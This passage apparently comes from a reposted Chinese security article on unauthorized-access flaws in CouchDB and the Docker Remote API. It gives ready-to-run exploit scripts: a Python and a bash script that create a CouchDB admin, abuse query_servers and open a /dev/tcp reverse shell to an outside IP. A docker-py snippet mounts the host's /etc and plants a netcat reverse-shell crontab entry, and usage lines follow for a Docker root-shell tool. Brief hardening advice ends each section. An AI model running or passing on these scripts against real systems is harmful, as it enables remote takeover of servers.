curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'           

Couchdb 2.x删除了_temp_view,是以我們為了觸發query_servers中定義的指令,需要添加一個_view:

curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"           

增加_view的同時即觸發了query_servers中的指令。

2.1 p牛的python腳本 支援高低版本,需要在version = 定義

##!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth

target = 'http://127.0.0.1:5984'
command = '"bash -i >& /dev/tcp/192.168.2.64/2222 0>&1"'
version = 2

session = requests.session()
session.headers = {
 'Content-Type': 'application/json'
}
## session.proxies = {
## 'http': 'http://127.0.0.1:8085'
## }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
 "type": "user",
 "name": "wooyun",
 "roles": ["_admin"],
 "roles": [],
 "password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

if version == 1:
 session.put(target + ('/_config/query_servers/cmd'), data=command)
else:
 host = session.get(target + '/_membership').json()['all_nodes'][0]
 session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
 session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
 session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')           

2.2 bash自動化腳本

##!/bin/bash

echo CouchDB getshell - c0debreak - tools.changesec.com
echo

if [[ $## -ne 2 ]];then
 echo Usage: $0 http://xx.xx.xx.xx:5984 myserver:myport
 exit 1
else
 server=$1
 cb=${2/:/\/}
fi

function run() {
 cmd=$1

 curl -XPUT "$server/_config/query_servers/cmd" -d "\"$cmd\""
 curl -XPUT "$server/example"
 curl -XPUT "$server/example/record" -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
 curl --max-time 1 "$server/example/_temp_view?limit=1" -d '{"language":"cmd", "map":""}' -H 'Content-Type: application/json'
}

run "echo '/bin/bash -i >& /dev/tcp/$cb 0>&1' > /tmp/shell"
run "bash /tmp/shell"
run "rm -f /tmp/shell"

curl -XDELETE "$server/_config/query_servers/cmd"           
未授權通路的tips

3. 漏洞修複

1、指定CouchDB綁定的IP (需要重新開機CouchDB才能生效) 在 /etc/couchdb/local.ini 檔案中找到

bind_address = 0.0.0.0

,把 0.0.0.0 修改為 127.0.0.1 ,然後儲存。注:修改後隻有本機才能通路CouchDB。

2、設定通路密碼 (需要重新開機CouchDB才能生效) 在

/etc/couchdb/local.ini

中找到

[admins]

字段配置密碼。

0x09 Docker未授權通路

1. 基礎介紹

http://www.loner.fm/drops/##!/drops/1203.%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8

docker swarm 是一個将docker叢集變成單一虛拟的docker host工具,使用标準的Docker API,能夠友善docker叢集的管理和擴充,由docker官方提供,具體的大家可以看官網介紹。

漏洞發現的起因是,有一位同學在使用docker swarm的時候,發現了管理的docker 節點上會開放一個TCP端口2375,綁定在0.0.0.0上,http通路會傳回 404 page not found ,然後他研究了下,發現這是 Docker Remote API,可以執行docker指令,比如通路 http://host:2375/containers/json 會傳回伺服器目前運作的 container清單,和在docker CLI上執行 docker ps 的效果一樣,其他操作比如建立/删除container,拉取image等操作也都可以通過API調用完成,然後他就開始吐槽了,這尼瑪太不安全了。

然後我想了想 swarm是用來管理docker叢集的,應該放在内網才對。問了之後發現,他是在公網上的幾台機器上安裝swarm的,并且2375端口的通路政策是開放的,是以可以直接通路。

2. 測試環境配置

先關閉docker,然後開啟:

sudo service docker stop
sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock           

綁定Docker Remote Api在指定端口(這裡是2375),可以自行測試。

參考API規範進行滲透:https://docs.docker.com/engine/reference/api/docker-remote-api-v1.23/

操作Docker API可以使用python dockert api 完成。

pip install docker-py

API使用參考:https://docker-py.readthedocs.io/en/stable/api/##client-api

3. 漏洞複現

3.1 From:phith0n

利用方法是,我們随意啟動一個容器,并将主控端的/etc目錄挂載到容器中,便可以任意讀寫檔案了。我們可以将指令寫入crontab配置檔案,進行反彈shell。

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})           

寫入crontab檔案,成功反彈shell:

未授權通路的tips

3.2 python腳本

https://github.com/Tycx2ry/docker_api_vul

  • 安裝類庫

    pip install -r requirements.txt

  • 檢視運作的容器

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375

  • 檢視所有的容器

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -a

  • 檢視所有鏡像

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -l

  • 檢視端口映射

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -L

  • 寫計劃任務(centos,redhat等,加-u參數用于ubuntu等)

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 鏡像名 -H 反彈ip -P 反彈端口

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -u -i 鏡像名 -H 反彈ip -P 反彈端口

  • 寫sshkey(自行修改腳本的中公鑰)

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 鏡像名 -k

  • 在容器中執行指令

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -e

    "id"

    -I 容器id
  • 删除容器

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -c -I 容器id

  • 修改client api版本

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -v 1.22

  • 檢視服務端api版本

    python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -V

3.3 其他的一些exp

https://github.com/netxfly/docker-remote-api-exp

https://github.com/zer0yu/SomePoC/blob/master/Docker/Docker_Remote_API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.py

https://github.com/JnuSimba/MiscSecNotes/tree/master/Docker%E5%AE%89%E5%85%A8

4. 防護政策

1.修改 Docker Remote API 服務預設參數。注意:該操作需要重新開機 Docker 服務才能生效。

2.修改 Docker 的啟動參數:

定位到 DOCKER_OPTS 中的 tcp://0.0.0.0:2375,将0.0.0.0修改為127.0.0.1

或将預設端口 2375 改為自定義端口

為 Remote API 設定認證措施。參照 官方文檔 配置 Remote API 的認證措施。

3.注意:該操作需要重新開機 Docker 服務才能生效。

修改 Docker 服務運作賬号。請以較低權限賬号運作 Docker 服務;另外,可以限制攻擊者執行高危指令。

4.注意:該操作需要重新開機 Docker 服務才能生效。

設定防火牆政策。如果正常業務中 API 服務需要被其他伺服器來通路,可以配置安全組政策或 iptables 政策,僅允許指定的 IP 來通路 Docker 接口。

0x10 未完待續

  • 關注最新漏洞情況,選擇性的進行修複
  • 梳理内部開放服務,了解哪些對外開放能内網通路的絕不開放公網
  • 開放公網的服務必須做好通路控制
  • 避免弱密碼;避免弱密碼;避免弱密碼

原文釋出時間為:2018-05-2

本文來自雲栖社群合作夥伴“

先知社群

”,了解相關資訊可以關注“

”。